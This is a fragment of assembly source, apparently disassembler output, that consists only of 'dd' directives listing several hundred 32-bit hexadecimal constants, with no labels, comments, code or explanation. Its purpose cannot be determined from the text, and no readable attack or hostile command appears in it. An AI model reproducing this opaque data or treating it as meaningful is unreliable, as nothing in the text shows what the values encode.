		dd 0D008E9h, 7A72FB20h,	141693D0h, 8345C63Ah, 184EA806h
		dd 0E26DD3Dh, 5E4E0ED9h, 111A9DE8h, 6465952Ah, 0C253B564h
		dd 257CA1ECh, 34D8EF9Ah, 6C75A466h, 0CBA2A1F4h,	24266A7Bh
		dd 0A2EA649h, 603C50ACh, 0DFA0CEDh, 28BEB314h, 13FAB5A8h
		dd 18E68162h, 1A6C99DEh, 19C39EAEh, 1BF28516h, 330B9FA4h
		dd 0B9D8B8Ah, 1376E36Ah, 78205037h, 8C3FC77Ch, 4A62C9BCh
		dd 1B56CBDEh, 443F320Bh, 0DB4EDFC3h, 42E7412Dh,	0B796B944h
		dd 5BF3BEF3h, 58DB3FDDh, 7FA4D930h, 0B26D1B0h, 60F04887h
		dd 0A4EDDF0Ch, 69F9B1CCh, 64B6E40Ch, 0C6E76808h, 3FFEF7B2h
		dd 60371603h, 0E946FBCBh, 0E3BE9358h, 60B1A789h, 0E29772E0h
		dd 74D6E391h, 373D78A5h, 0B635F7DCh, 2C93F91Ah,	7AF30447h
		dd 0FD0AED87h, 0AFD0FFA4h, 0FAC8A91h, 94C94B11h, 7497B548h
		dd 0E82E7242h, 75182378h, 9BF46ACBh, 0F9A7043Bh, 1B24E47Dh
		dd 1FBC3AEFh, 84295B79h, 111EE668h, 0CBE7FCFBh,	0A4F88C4Fh
		dd 21261B44h, 9E5A088Fh, 0C8C46B9Dh, 0A2925470h, 9A9CB61Bh
		dd 1B5A2598h, 0A86E666Bh, 6D335DD0h, 0BCD844F1h, 0AE6A2D18h
		dd 0F78BE9BCh, 0B2B22121h, 4BA83BEDh, 367FF257h, 0B89E2759h
		dd 0E7C239F0h, 0B1E63F56h, 0D0AA7232h, 0E04050B3h, 0AEF227EFh
		dd 0E513254Dh, 0B23A0AE8h, 0E8DB2A05h, 0A9422664h, 0AE6327D1h
		dd 0ABDE2C2Ah, 0F04442DDh, 0F2D27180h, 0A1E5730Bh, 0A45F3885h
		dd 0AABF30ACh, 0FBEC3C54h, 0B97451D9h, 0AAA43814h, 931D3A70h
		dd 8A3218ACh, 9DC61305h, 82340428h, 9886028Ch, 8BD60A35h
		dd 0CC6A1F9Ah, 808B19EBh, 97E00658h, 0FF1F51DAh, 80B7248Eh
		dd 98131D4Bh, 947F57ABh, 9BA6591Ch, 92075B6Dh, 97645DDCh
		dd 2CDA173Bh, 703DE720h, 6D84E584h, 75FEEB2Dh, 7F1ECECCh
		dd 3096E0F1h, 64D18139h, 2E4FFFBDh, 30ABFD1Dh, 3E07FE59h
		dd 7D64F5E4h, 65DEFB0Dh, 771DB733h, 3A23FCDDh, 7586EF1Dh
		dd 773EBD8Bh, 0CFFAF1h,	51B5D509h, 5057CFC4h, 236F84EDh
		dd 3C57CF79h, 0FBE8B976h, 9E2ED4E1h, 154F2E4Ah,	4ABADDB7h
		dd 0FEB2B46Bh, 0B0527B9Bh, 0CC1F856Fh, 0CFCB90FDh, 0F61EB4F3h
		dd 65B179F8h, 2A998793h, 91ADAF7Ah, 985D7280h, 0F724D62Ah
		dd 461A1D70h, 48BEC76Ch, 4A62C910h, 4C06CBB4h, 4EAACD58h
		dd 504ECFFCh, 52F2D1A0h, 5496D344h, 563AD5E8h, 58DED78Ch
		dd 5A82D930h, 5C26DBD4h, 5ECADD78h, 606EDF1Ch, 6212E1C0h
		dd 64B6E364h, 0E53AE508h, 78BC5F09h, 0CF21E950h, 6C56A948h
		dd 2D5DE298h, 68DD6228h, 747946EFh, 305D2387h, 3451D10Ch
		dd 430785C0h, 6EB1F132h, 5772B99Fh, 0EB83F1FAh,	80BEBDE4h
		dd 0C0EE8489h, 811D03B4h, 64B2C7CBh, 8CFC6635h,	0D5678190h
		dd 64861B10h, 8E2A0DBCh, 90CE2F14h, 1EF79C20h, 0CD1603E7h
		dd 9ACE0D51h, 7A5AD78Fh, 0E87E647h, 5FA60B16h, 1349C40Fh
		dd 0A0FE3BC3h, 0D26D31A3h, 2736AC18h, 50382160h, 8BF2BAA5h
		dd 90A129C0h, 87C35F74h, 0BE182E2Ah, 0E8F26131h, 88316F3Bh
		dd 4B524704h, 49F9DE9Ah, 0EF76273Eh, 91BDC60Fh,	6B105Ah
		dd 0E68A2D7Ah, 31A74DFh, 804AC40Fh, 41B14334h, 0C60A075Ch
		dd 0C8BE476Ch, 0CA6275F8h, 5883C0B4h, 26AA5D1Ah, 2FB1B955h
		dd 0D2F24948h, 402BD044h, 0D63A45AAh, 45575FF9h, 0DA927D38h
		dd 51D9C73Fh, 0DEDA1FECh, 78EBD0DFh, 6B127182h,	0F4F4F7F1h
		dd 0E6598D08h, 21CD67ACh, 6A31E293h, 0BE466BF4h, 11148070h
		dd 4C1B6CC3h, 0F13261A2h, 0F8ACF052h, 0F1FE7A28h, 7B1E77CDh
		dd 0F5C2690Ah, 0FC668690h, 0F248F6B8h, 0FE66970Ch, 87517EFFh
		dd 4E6C118h, 8CCA434Bh,	8C707E4h, 0F36290E4h, 4C85FF1Ah
		dd 46A17C33h, 0CF2F0E7Dh, 93AD4EFFh, 585AD73Dh,	4F56E068h
		dd 0E1DD5F27h, 0AD8D964Ah, 7AA69B54h, 2DB4E579h, 8B6B90AEh
		dd 7492A140h, 51369967h, 36902E8Dh, 22F5A5C7h, 0C27358D3h
		dd 0D3395506h, 6CD6181Bh, 0B5A3AFACh, 3D49C9A0h, 34563780h
		dd 8A4F4AA8h, 689EA70Eh, 0C5BCEC18h, 8063B86Bh,	0B18AAD7Ah
		dd 506C0359h, 66D6C280h, 46B64077h, 0F0151EFBh,	0C8AC2464h
		dd 8B31E9D9h, 6502EF90h, 4283E944h, 0BB0E94D8h,	5D095049h
		dd 204B6893h, 0FEC154D6h, 2C05B9C9h, 3795806h, 28D97AEFh
		dd 88315C56h, 14C26A3Eh, 0F1E960E6h, 1045BB8Dh,	1BA16416h
		dd 1C0DBF45h, 2C596846h, 18A7CECBh, 5E116C96h, 46FCA03h
		dd 0EAA70EE6h, 2FD6E3C6h, 898584C1h, 0BA9DA933h, 842D1064h
		dd 7EA504EBh, 9652F9D2h, 7F510A15h, 0A46B9488h,	3C9003B4h
		dd 64981D79h, 8A3DE32Ch, 0E0496F72h, 0A26E5332h, 0DD5F22Dh
		dd 414907BEh, 7A2A144Ah, 6BE9E6E5h, 0E5B9EFE8h,	9A0EA707h
		dd 8A242035h, 0BB4DB154h, 34127592h, 0D5EDE51Ch, 4A839158h
		dd 5BC9D6E5h, 0A6DA2430h, 0DCACA32Ch, 54C2F8DDh, 4730C0BEh
		dd 0AE6A951Dh, 52A5AFBCh, 273FF2DFh, 0B4460A94h, 6C0DE283h
		dd 3C1BC08Fh, 0BA4229C9h, 0B3EE3B94h, 5E4BFDADh, 42ABC9D7h
		dd 0C3D251B9h, 0C9104551h, 0D5F16041h, 0F13CC29Ah, 0BF604900h
		dd 0FD0B2DB2h, 0A8AEA67Dh, 0B66B4EF1h, 2D4EB90Bh, 971DACBBh
		dd 7AAFDCDCh, 73DE47CEh, 5E07AEF3h, 0DC264BEDh,	0D1C25D78h
		dd 5C6A9F89h, 1D8E896Ah, 713F9C9Bh, 0E64A27B8h,	0D17CE25Ah
		dd 9FA36940h, 77764F0h,	452A469Ah, 740B98FFh, 0F23261D9h
		dd 80DE7384h, 88FFFF0Fh, 391E67F5h, 0F7A47290h,	57003E9Fh
		dd 74A08508h, 109701D9h, 19B24000h, 8D92E4A1h, 0C6A92E4Eh
		dd 1AD52C8Ah, 0F6DED28h, 890C2034h, 0E3AB4A6h, 0F00FD778h
		dd 0D4B13A38h, 4310741h, 33519C68h, 38B56BBCh, 1AE921D6h
		dd 54D3032h, 0F6129992h, 0DF116B95h, 0E340A5CDh, 2150AB04h
		dd 8DBC6501h, 0B8CEA4C7h, 7239C37Ah, 0D3355B9Ch, 0BAEF2DE7h
		dd 360EBF9Bh, 41BA4BE0h, 4084372Bh, 42304B6Bh, 4C54498Fh
		dd 4E884737h, 482C454Dh, 4A404334h, 34E441D3h, 0A92B718Fh
		dd 0EEF173EFh, 82F11E78h, 885532DCh, 0F68931A0h, 0C8833C77h
		dd 4EAADD61h, 0E04ECFDCh, 56F0A426h, 0AAD95E40h, 6F467062h
		dd 0F3B8D79Ch, 2F8725B0h, 0DC266BD3h, 0F48A2237h, 9F91BDF4h
		dd 0E697163Fh, 64B6F35Dh, 5AE548h, 1DCF8114h, 0C8B5D52h
		dd 665E5B5Fh, 7ED3931Dh, 736E2F3Ch, 8D0F194Ah, 0FC660C7Bh
		dd 4FFE70DFh, 0F81EF7DCh, 78B7F970h, 0D9EC7DA4h, 7E1AC4C4h
		dd 7C2E543Ah, 32557405h, 7BB983A4h, 0B59AF08h, 98079751h
		dd 75EFE190h, 971F4CBh,	8E3A345Ch, 80CE0F7Ch, 0F2C21254h
		dd 1093E46Eh, 96BA0551h, 0EC56170Ch, 1157A1B7h,	0D30D1BB8h
		dd 0A7CE980Fh, 0A0ED1F8Ch, 269D2040h, 0A4362314h, 0D70CD38h
		dd 0EAE29AA5h, 66CA29C0h, 1C39D48Ah, 27C187F0h,	0A04C8F01h
		dd 4C0FD960h, 31A1CCFBh, 0B6EA0C2Ch, 0B89E374Fh, 3FB52384h
		dd 0BCF60210h, 0BF8A3D38h, 0EEC635A8h, 2A2DBE7Eh, 3B89BDBFh
		dd 6DB0AC78h, 8A22C2E7h, 5E94900h, 718F839Fh, 0CEBA0FFCh
		dd 68B20775h, 0E40D35C7h, 0B25660EFh, 52BFA243h, 0DBDE47B5h
		dd 0AE825930h, 5EA3ADC7h, 5ECA4D41h, 4A865568h,	0AED9E3Dh
		dd 1B499D3Fh, 6F3E02B0h, 28CDCC8Ah, 6F55C236h, 0EC565270h
		dd 0EEEA6D9Bh, 75783548h, 0F2224862h, 1CDC0604h, 98588A9h
		dd 7E04524h, 7C0918Fh, 0DCD684EBh, 1F16950h, 66979CA3h
		dd 64477EB8h, 8F5D120Fh
		dd 16A301DDh, 0FFEC70ECh, 0AE28A52h, 0E492FE34h, 0F1D57104h
		dd 0FE2690CCh, 748D6EDAh, 72036C7Ch, 9D1104C3h,	0BCDB1CC3h
		dd 310289F2h, 0E0EE129Ch, 27CE180Fh, 20ED9F8Ch,	1AE6A140h
		dd 1DB22613h, 26DAA598h, 40AA12Ch, 13A62C27h, 2CC6AB64h
		dd 241FAC18h, 0CFF36D54h, 0CFF9599Fh, 0B1A14CFBh, 36EA8C2Ch
		dd 3C9EB74Ch, 96AAB384h, 0D4194469h, 0C1754059h, 79AA3A2Bh
		dd 42D6C190h, 5302C324h, 0B9E75320h, 88977F93h,	0F2C901EEh
		dd 48720BBCh, 0B6DF75F3h, 0B8E5A817h, 0AD0D2CDFh, 6D1256B3h
		dd 5632D5F8h, 2AABD78Ch, 630064B0h, 2826DBC4h, 0A3AF3511h
		dd 49D620E3h, 68DBC8D8h, 748F9DC1h, 65BE2508h, 518042A6h
		dd 8209E940h, 93B916BFh, 0E4405C28h, 60B76DB9h,	4EDA5BE0h
		dd 7B290C79h, 4F04709Eh, 7C93F7DCh, 0BB82FDB0h,	0F1D6F3F4h
		dd 7FBA56DEh, 0A046A8F6h, 0ABADFEFDh, 3C902798h, 71C3FEAAh
		dd 98078369h, 8AE21990h, 3C817F34h, 364CA791h, 71CCF509h
		dd 6E9ABA46h, 24E9EC38h, 5689BF80h, 10E39EA7h, 6D0209F2h
		dd 8C9F9FD1h, 9E4A3DF8h, 0F7F96A9Ch, 5D6EFFA8h,	6BBD791Bh
		dd 6CF17D38h, 9102A226h, 0E0AB29C0h, 642E8188h,	0C895D2E4h
		dd 47CEAE04h, 0A28BB5E5h, 0B4567304h, 36F941A8h, 1D941F88h
		dd 0BA52008Ch, 16F90F2h, 0BE9A7FB4h, 44ABC877h,	0C2D251B9h
		dd 0B1364324h, 0C44AF5C1h, 0D8873BE9h, 4F95E310h, 0CC167230h
		dd 0CEAA4DD8h, 68FE4489h, 0EB8FD4AAh, 3F3C5354h, 0E78233D5h
		dd 5C5BA094h, 0DA824909h, 0A8265BD5h, 0D4E3ED7Ah, 0F05722B9h
		dd 0E1F6A1C0h, 0DDCBC66Eh, 4D3C6518h, 187FDFCAh, 0D326ECA7h
		dd 0EE466BE4h, 0EC9F6D98h, 5584A788h, 0F222489Dh, 495FD8E2h
		dd 0F66A3780h, 0F837E774h, 7F35D270h, 0FC764290h, 0FE0A7DB0h
		dd 20460E28h, 0F5AD7EFCh, 14CF0721h, 69E8548h, 0B835F2ECh
		dd 74678328h, 0A6869B0Dh, 8BDDC033h, 10DEB6F8h,	12729920h
		dd 0AC7082B1h, 0B3B075EBh, 184EAE72h, 0DA3132D6h, 7AB370FEh
		dd 1452B440h, 30D7E139h, 21766140h, 1D4806EEh, 8DBCA598h
		dd 11FA22DBh, 3A22A9C0h, 94A0AB74h, 2D1E6D99h, 3A066B3Ch
		dd 228BCFC5h, 3BFDD504h, 0F78301Eh, 0D035B75Ch,	0C5BD425Fh
		dd 5623E63h, 3E8ABD28h,	4E5AFFDCh, 0C7D09130h, 4466FA58h
		dd 0BD8F2D62h, 7333893h, 0DAEF40EEh, 0BB06DBF6h, 5E9349DDh
		dd 504ECFFCh, 0E2FEA520h, 0DD3D79ACh, 46786155h, 0B0DB3C8Ch
		dd 0A57D22D1h, 0A3DDB13Ch, 0DA4F2A87h, 606ECF25h, 1712E0C0h
		dd 6EF6536Fh, 7663998Dh, 67154DACh, 0AA215136h,	553A4EFEh
		dd 0C58CED88h, 8724EE8Ch, 620B7565h, 76D6F384h,	81558028h
		dd 68277349h, 7EC2F970h, 0CC7C8E14h, 8FF778h, 0AAEEF65h
		dd 926B82A5h, 9416C2A4h, 7FCBD2Eh, 633EB747h, 80A2B998h
		dd 9CBF75B1h, 0BDDA7D8h, 90DE36F8h, 927A1120h, 2C7003B1h
		dd 33B0FDEBh, 984E2E71h, 9BB2B2D6h, 0D41613BFh,	0A73798F2h
		dd 48441F8Ch, 5D6DDB9Fh, 9DB2A613h, 0A6DA2598h,	0DDCF273Ch
		dd 12440CA5h, 9CCD3F7h,	0AE7A1465h, 703D84DAh, 220F18CAh
		dd 43562346h, 0A6C3B12Dh, 989E374Ch, 0B5D4CF0h,	0DAFDD0E3h
		dd 0B4923480h, 0D0174279h, 0C1368180h, 0FD0BE62Eh, 6D7C45D8h
		dd 8A2EFA45h, 0BE84900h, 8E96EE3Eh, 65CC4D48h, 554C174Ch
		dd 0D2E268DCh, 2EEFBBEEh, 53CDAA17h, 0D8CE6E08h, 0DB825933h
		dd 59D177A0h, 0DEDA64FCh, 0E46E5F1Ch, 67E541B5h, 0E4A65AE0h
		dd 0E55A6508h, 36166DD9h, 25D96A9h, 13B991BFh, 11106D70h
		dd 0ACF87C3h, 77C58E1Fh, 0F4C64A00h, 0FE7A7528h, 31AE7FB8h
		dd 0EF91DAh, 799184EBh,	0FE1A443Ch, 10AE7F5Ch, 5E2AB74h
		dd 3D8A068Eh, 0E65B8558h, 0B78AF6h, 0AFE089B4h,	0C96B248h
		dd 8E296918h, 0F8658BB8h, 0ED8D68DFh, 0FCBCF274h, 0E9456C9Fh
		dd 0F8A12F6Ah, 237E3CBAh, 0B7C09B44h, 0E1B37B10h, 0A46B6863h
		dd 292B179h, 5036A3E4h,	0AD1D2ECCh, 383C2FA1h, 0A3E382D0h
		dd 74765735h, 17162812h, 0D8A4AFACh, 0CD4D48DFh, 0DD236F3h
		dd 36FAB5B8h, 34EAB70Ch, 0F9120196h, 59A3E9Eh, 3461BD28h
		dd 0A0D107BAh, 7BAE648Ah, 0EF10C334h, 0B9E35320h, 0CC3B3093h
		dd 4962D929h, 3807CBB4h, 0C5654607h, 400C6F79h,	0DB3AFAA0h
		dd 9DA52F0Ch, 6FBE501Fh, 58DED79Ch, 54F7D9B0h, 655A5E59h
		dd 5640DD68h, 63975F5Ch, 669F19B3h, 7492A7A9h, 6EBA2408h
		dd 8B556C1Ch, 5B1A8F56h, 0AED8D34h, 66A6220h, 708EEF84h
		dd 0D95410E2h, 0BD5358DCh, 0CE1CF35Dh, 0D37837FDh, 92683AC0h
		dd 8399023Fh, 478E784Fh, 80AEFF4Ch, 98268100h, 17DCC2Fh
		dd 868A47FCh, 0C0B7CFC7h, 739DE16Ch, 4F36F4CBh,	772FE572h
		dd 1543F083h, 926228B0h, 0AD929633h, 96BA1578h,	9E2B370Ch
		dd 0C2FA32E7h, 0CF2D02BFh, 0B5B236D0h, 863944Ch, 0A3923102h
		dd 0B474AB71h, 2DE32488h, 217A0368h, 0BA32416Dh, 207BA074h
		dd 856A3D5Ah, 0A04CA739h, 3637C660h, 0F456233Dh, 0C2FA35A8h
		dd 1346C04Eh, 0EC423D32h, 785BB8C3h, 0BE8A2D7Ah, 0C1F7BBD3h
		dd 0CF3A4180h, 8F764324h, 8354178Dh, 0E68C7420h, 0CA2E0554h
		dd 0F274DE4Bh, 4B234D48h, 0D05E0D24h, 0EEAADAF3h, 0A7698B47h
		dd 0E279DEC0h, 272B4E64h, 6217D2CFh, 87264B96h,	57C61F7Bh
		dd 0F02C8399h, 0EA5062C0h, 0A656E6EDh, 95D16518h, 684D9884h
		dd 2A26950h, 13B99F06h,	0AC52D013h, 18D86F2Ch, 0DCD8506h
		dd 0B66EE60Fh, 0BCF17538h, 0F45474C4h, 1341B75Bh, 9CEE7411h
		dd 0F10A7DB9h, 0AF25D8h, 0BEE78200h, 7F693E6h, 16D8FDFDh
		dd 0E0022BECh, 0A400C9Fh, 4A0B8B34h, 76AFA6DCh,	13CE9F3Eh
		dd 0B19AC126h, 97E96C30h, 6F82DD5h, 132B970Ch, 150EDE8Bh
		dd 1CA780D7h, 274676F8h, 30AC2709h, 2F17AE40h, 2736A3E5h
		dd 3698DD0Dh, 10FFC12Ch, 0AF2D8C2Fh, 2CC6AB88h,	568ED93h
		dd 0D85E9BFFh, 0CD4D4506h, 76EE0E3Dh, 0B3F5B5B8h, 389EB7A8h
		dd 78FE3CF3h, 0B9E5BB84h, 3E9AFF40h, 705BF57h, 8F50CE8Ch
		dd 7F76C324h, 0C515CD8Fh, 48BEC7A8h, 49600993h,	0C905DFF3h
		dd 4EBA8F20h, 0E5B19FAEh, 52E29378h, 6AA446BBh,	0D360D5F8h
		dd 0EF5BD84Ch, 0B382D930h, 5C26DB48h, 0DBC52244h, 606EDF88h
		dd 6D07DF40h, 64B668E1h, 671C6E08h, 38CAA487h, 95511CB8h
		dd 0D4FBD20Bh, 1BEAFDDAh, 0CC0BEC4Bh, 7132E1A2h, 64948B01h
		dd 92FF7C28h, 0F31EE78Eh, 0A647C270h, 0E66EB56h, 9E8FC6B0h
		dd 0F2AEEF1Eh, 82523C69h, 0B38473A4h, 869A1AA0h, 74708AECh
		dd 88C9C81Bh, 0B7964937h, 9E68E95Dh, 13C27A7Ch,	0A38D01E4h
		dd 8832574Bh, 55A1FE09h, 0DAC69283h, 116219A0h,	8CE463E1h
		dd 6AD9F5F8h, 98FE063h,	22922140h, 0E31D2D91h, 9DD35784h
		dd 2A712F6Bh, 55DDD6ECh, 1E43243Dh, 2595D2E6h, 178F0B80h
		dd 0B2B218E4h, 5BA9CCFBh, 0FC7B7743h, 0B89E5768h, 7A717710h
		dd 3BC2371Fh, 0AEC8F9BDh, 0ABB6DCh, 4FD251C2h, 0C45FCB9Dh
		dd 0BE9F46C8h, 0AEBE572Eh, 0E12CECB5h, 0D8444872h, 8A60F73h
		dd 17A6B4BAh, 0D2F20221h, 0D4965644h, 2A7CDCE8h, 8F1D09D3h
		dd 0E4FCCCCFh, 34E75BC4h, 0C44F5267h, 0B06E5F1Dh, 883A0B94h
		dd 3A239C9Bh, 635A7536h, 60F1386Ch, 0EAA26855h,	13A2E71Ch
		dd 0EEFB8567h, 95DD6F3Ch, 9E5B3794h, 97B320E1h,	8213075Dh
		dd 71E36B5h, 0EA8035C5h, 0CEF38414h, 770A6D86h,	10EC2BD9h
		dd 24B6900h, 61A583A4h
		dd 63F1E41Ch, 6D50F0A3h, 638AFAE2h, 65F4DB44h, 6B46E4AEh
		dd 47CEEA1Bh, 0ED9ACCC8h, 14057B3Bh, 73E99568h,	6C2DF25Eh
		dd 4A67EBDFh, 75D0F226h, 7B2DF894h, 1F06C89Ch, 0CA6D5EA8h
		dd 2436A3F6h, 4798C0DBh, 580BCC4Fh, 5C4BDB80h, 4BA3C71Dh
		dd 0C63DAD7Dh, 0CFF1479Eh, 32B2A988h, 7733E004h, 5194D4C0h
		dd 4CF1F929h, 6A3BDF99h, 5590D2E6h, 5BEDD854h, 0BFC6E8DCh
		dd 122D3E67h, 0D4F34E70h, 2C1AD5F5h, 49D49708h,	0A0F73647h
		dd 0C506DB8Ah, 0DB55E964h, 505EF1DAh, 0EF7F118Ah, 5486920Ch
		dd 0A96A85B8h, 48E34739h, 5A83B130h, 3672DBD0h,	0CB358A79h
		dd 607E9D48h, 35168B94h, 26E2769Bh, 0A2D9E518h,	244B18B8h
		dd 95A2F912h, 7C788961h, 0E329B298h, 60CFA789h,	0E7CDA7E0h
		dd 74C6CDE2h, 79850DABh, 781E4C48h, 22477070h, 1666EB56h
		dd 0EBF5ABB8h, 80BEC1FEh, 65DC185h, 84F60300h, 0D6CAC563h
		dd 0E26E0486h, 8AE26191h, 73D0CB34h, 9E144F4Dh,	6F368C7Ch
		dd 9475952Fh, 119F13C4h, 96AA5734h, 0DA3E9A81h,	0F8F19A0h
		dd 9CB6593Ch, 9E204FA9h, 0CE7BE0CCh, 2192317Eh,	2039DC1Ch
		dd 0A6DA205Dh, 1D812746h, 0AA326B8Ch, 92ACBE8Bh, 56E92D08h
		dd 0E8A2043h, 3BB23165h, 0A4144381h, 0B53306A8h, 0E9CE668Fh
		dd 45133D9Ah, 0ACA46721h, 0F81FC238h, 452E2FE2h, 58564E40h
		dd 0F7764321h, 0B29FCC01h, 99BE572Eh, 0D50A1841h, 9C0644B4h
		dd 0F024D8A7h, 10CB4FECh, 0D7A1D5AFh, 511F5344h, 0D62A1790h
		dd 0AA35EF4Fh, 91095930h, 58A3ACECh, 0DECA4D41h, 954E5F1Ch
		dd 8A9762C6h, 0D7B67374h, 119B66DAh, 611F905Dh,	0FAE0EDD5h
		dd 0C5C9D3F4h, 0A5616D98h, 980B6C00h, 0C13261F0h, 3177056h
		dd 7F9B82D9h, 0E85C0B49h, 4DCDBA70h, 1F9F7D5Fh,	0E659F08Dh
		dd 14EDC853h, 691B5103h, 0D4F5AB65h, 71C5BFC9h,	7CC7E985h
		dd 6980A8Dh, 8766F935h,	4CA1B193h, 8C8C68h, 0ED3AD5ADh
		dd 0D5354A33h, 54CA1053h, 939D971Ch, 2912BDE4h,	0A4241494h
		dd 0DD4A9DF8h, 2B055017h, 63DA1CCDh, 0AFCAA3F4h, 8A139657h
		dd 2E0CC610h, 2855D3ECh, 106C8B58h, 1286D944h, 0CD3DB92h
		dd 0D15AC460h, 95738CDh, 36BFEDEDh, 6BA3BC38h, 3542EBB3h
		dd 0C3198811h, 38936C7h, 360F68Bh, 0BDF4458Fh, 134B3CDBh
		dd 4954908Bh, 0B741DCE8h, 935F4EFh, 0C809F987h,	0B1553248h
		dd 41D9FC1h, 5776DEEFh,	67692CBBh, 0A8173D33h, 48AB2873h
		dd 0A57E23D8h, 0A207332Bh, 0DAC52287h, 9F9121F0h, 74FA33F3h
		dd 8CB6E364h, 99A51A6Bh, 68FEE744h, 8723B450h, 6C56DFE7h
		dd 6EE91771h, 42718B3Ch, 304A446Bh, 0FDB2F394h,	48FB930Ah
		dd 0FD11AD81h, 7AC2FA93h, 7F5AA59Fh, 458B9B66h,	5A1BA0Ch
		dd 825202D3h, 84E04053h, 899A0568h, 883DC169h, 0D6A1FF90h
		dd 30020436h, 52A0DDBh,	30F3073Fh, 9DD2B180h, 9415BD40h
		dd 0B69A2868h, 1C51372Ch, 9A021A13h, 9C6E90DFh,	88A91DF8h
		dd 4F66F7CDh, 2F91DEBFh, 0A4266158h, 0C759EB8Bh, 0C9FD276Ch
		dd 31CA2994h, 0A339D48Ah, 0AE69579Ah, 70ABACBCh, 0B2B22122h
		dd 3F5E718Fh, 77D125E2h, 78AD333Fh, 72413C1Bh, 35F6711Dh
		dd 0AEC8BDBDh, 0CC643CDCh, 0C3D24138h, 7A9E1224h, 0F6E5BA2Eh
		dd 0D887C5F9h, 0FA42F810h, 0DC3FC801h, 308A2758h, 0C4361735h
		dd 2D14F548h, 0DB44D6BBh, 34E9977Ch, 0E15AC2BDh, 3F695920h
		dd 0E5A2DE23h, 0DECA5D68h, 0C21A5E1Ch, 0DB96E437h, 0E4B56374h
		dd 0EA2F6508h, 0D17AC22Dh, 155D6940h, 0E6AD900Bh, 0D76EE019h
		dd 0F08E6F2Ch, 0F45A79E0h, 0ADD67384h, 0F67A7340h, 0AEF62FCCh
		dd 703D8696h, 0EC5F0791h, 0D48EFBB8h, 0BE4620h,	3B2E0488h
		dd 0E41483B4h, 3F1E00BFh, 83687FCh, 3978990h, 35F836B4h
		dd 7A2B8DC8h, 944B78B9h, 12728119h, 601E93C4h, 6A071573h
		dd 1D5E8735h, 0A78229C4h, 1CB6A229h, 9EEDE9FDh,	30D7E121h
		dd 0BCE6A440h, 1DB22613h, 26DAA598h, 210AB72Ch,	135E1450h
		dd 5BC4AB64h, 0EACF2E91h, 300EBFFEh, 0CD401788h, 0C9155BFBh
		dd 47124A57h, 0B39EB74Eh, 2A00C56Dh, 0BC7BB894h, 0D68AAD7Ah
		dd 0BFD14387h, 4083458Fh, 0F1FDC324h, 460A87B0h, 4B8299E7h
		dd 0B73E21CEh, 0CE09344Bh, 4EAACF63h, 306A857Dh, 0D912D1A0h
		dd 57C081BAh, 2C39C192h, 0DC5B209Ch, 5A82C909h,	2906DBD4h
		dd 9677546Ch, 0ED6ECF5Eh, 722B7175h, 0C3B6864h,	955AF518h
		dd 0C47B008h, 0E7A2E95Ah, 7C56EB41h, 0DF4F1E98h, 838C0C3Ch
		dd 0F6B70644h, 74D6E3BDh, 795AF528h, 781E5948h,	52B10670h
		dd 838B2AFCh, 0C69F7647h, 5AEEF1Eh, 1AD60ED2h, 0FF603A4h
		dd 96D87DFDh, 98748CECh, 0EAC64311h, 0A7660B34h, 8C590592h
		dd 0E2CDC64Fh, 0FAFF2A34h, 1F1603D4h, 86AA7DE5h, 1308650Ch
		dd 3F813D8Ch, 9CB60B3Ch, 0F6ED9EF8h, 0A0EE1F9Ch, 0A39A5BCBh
		dd 53352BAEh, 2351D20Fh, 0A86E65A0h, 93A6AC27h,	0AC862B64h
		dd 0AC1E2D18h, 0C20D374Bh, 3B82186Ch, 0A414F7B1h, 9E89BEA8h
		dd 3D69074Dh, 0BA520074h, 0BCE63BD4h, 0A67D3F4Ch, 3C05D78Dh
		dd 298BBE7Fh, 0EC054028h, 971637E3h, 971AB43Ah,	5AD7C449h
		dd 45065B8Dh, 0DEE885E5h, 8FEABCFCh, 40C35EFEh,	0D5A9D4C9h
		dd 430055E8h, 0D8CE6E0Eh, 8EB5F45h, 0CE120DACh,	379AD41Eh
		dd 1FB478F4h, 0A8993B3Fh, 0F4FC6068h, 0DFDEE0FFh, 0E8FE67BCh
		dd 0AB2F4950h, 65551EF1h, 0FEA8A915h, 980B6C3Ch, 713261F0h
		dd 0F4D61B23h, 0B5517528h, 0AB99FEE4h, 0DC27970h, 0EC593B91h
		dd 0FE0A7CB8h, 0C7A90B5Ch, 0A2F28943h, 81012304h, 68ABCCCh
		dd 183E87ECh, 0E2B08EE4h, 0F3797C6Fh, 0CAA70682h, 0F3CE9F3Eh
		dd 3A391825h, 999D9E2Fh, 16AAD7A8h, 1BB595EFh, 0ED2AD23Bh
		dd 0C9F1FD1h, 1E4A9EF8h, 0ABFAEB9Ch, 32D069C5h,	94BBA0E4h
		dd 25DAB5CAh, 383C0BA9h, 0A12AA8D0h, 0A94DBB3Eh, 2E7AEF64h
		dd 4306E585h, 3AF83863h, 0B746F105h, 0BDFAEDCBh, 28DC33C9h
		dd 13D2D1F0h, 7EE7BB94h, 7D8BE430h, 0C2BB358Ch,	0B5D2D1B9h
		dd 544F47A1h, 461AC5C8h, 4BB8B34Ch, 5A72A19Dh, 0BB067DB4h
		dd 5E9349DDh, 524ECFFCh, 0ACE6A4A0h, 0D0132482h, 563AC5D1h
		dd 2DDED38Ch, 0D9375336h, 0AB26CBEDh, 4EF359FDh, 602EDF1Ch
		dd 0E81994C0h, 0CE74E163h, 91B8330Ah, 6F74EE47h, 68082B62h
		dd 5FB10922h, 4C61894Ah, 288C6058h, 306E4C63h, 7BD6F394h
		dd 89804AACh, 0AB0833h,	85C2E932h, 6C584981h, 0ABF02B8h
		dd 7FAEEF1Eh, 926C2795h, 0E47B8EA4h, 0B9A150Ah,	987C6F79h
		dd 0E0B05890h, 0D033F434h, 712A1D9Ah, 80F0A9E9h, 0CEC7EE20h
		dd 6B160386h, 868433FDh, 0D0EB9A0Ch, 650209F1h,	8CE443E1h
		dd 0BB54BF8h, 0A0FE213Eh, 0E0CE84C3h, 673623F4h, 0A6DA2560h
		dd 0A9147A2Ch, 92ADC451h, 5C9E2B64h, 2EEFEC17h,	350E3FA9h
		dd 7A31F2A0h, 7559C3FBh, 0A6EFB52Dh, 0A8A3F44Ch, 0CF4213F0h
		dd 0C0675D88h, 0CFE6311Ch, 284E2CA9h, 3D2DBE44h, 719E4651h
		dd 2EE5BA32h, 3741B8BEh, 0E79D6771h, 0DE321DCCh, 0CEAA68E0h
		dd 75A62FFCh, 0A70DAE5Fh, 0F0D2D87Dh, 9E8FD8D8h, 53DE47CDh
		dd 5BE45160h, 0AF245DEEh, 0DEA20B5Dh, 6B6EA01Ch, 0B0120B04h
		dd 16239C34h, 655A7536h, 0D67F6F68h, 0B69D560Ch, 2AC56881h
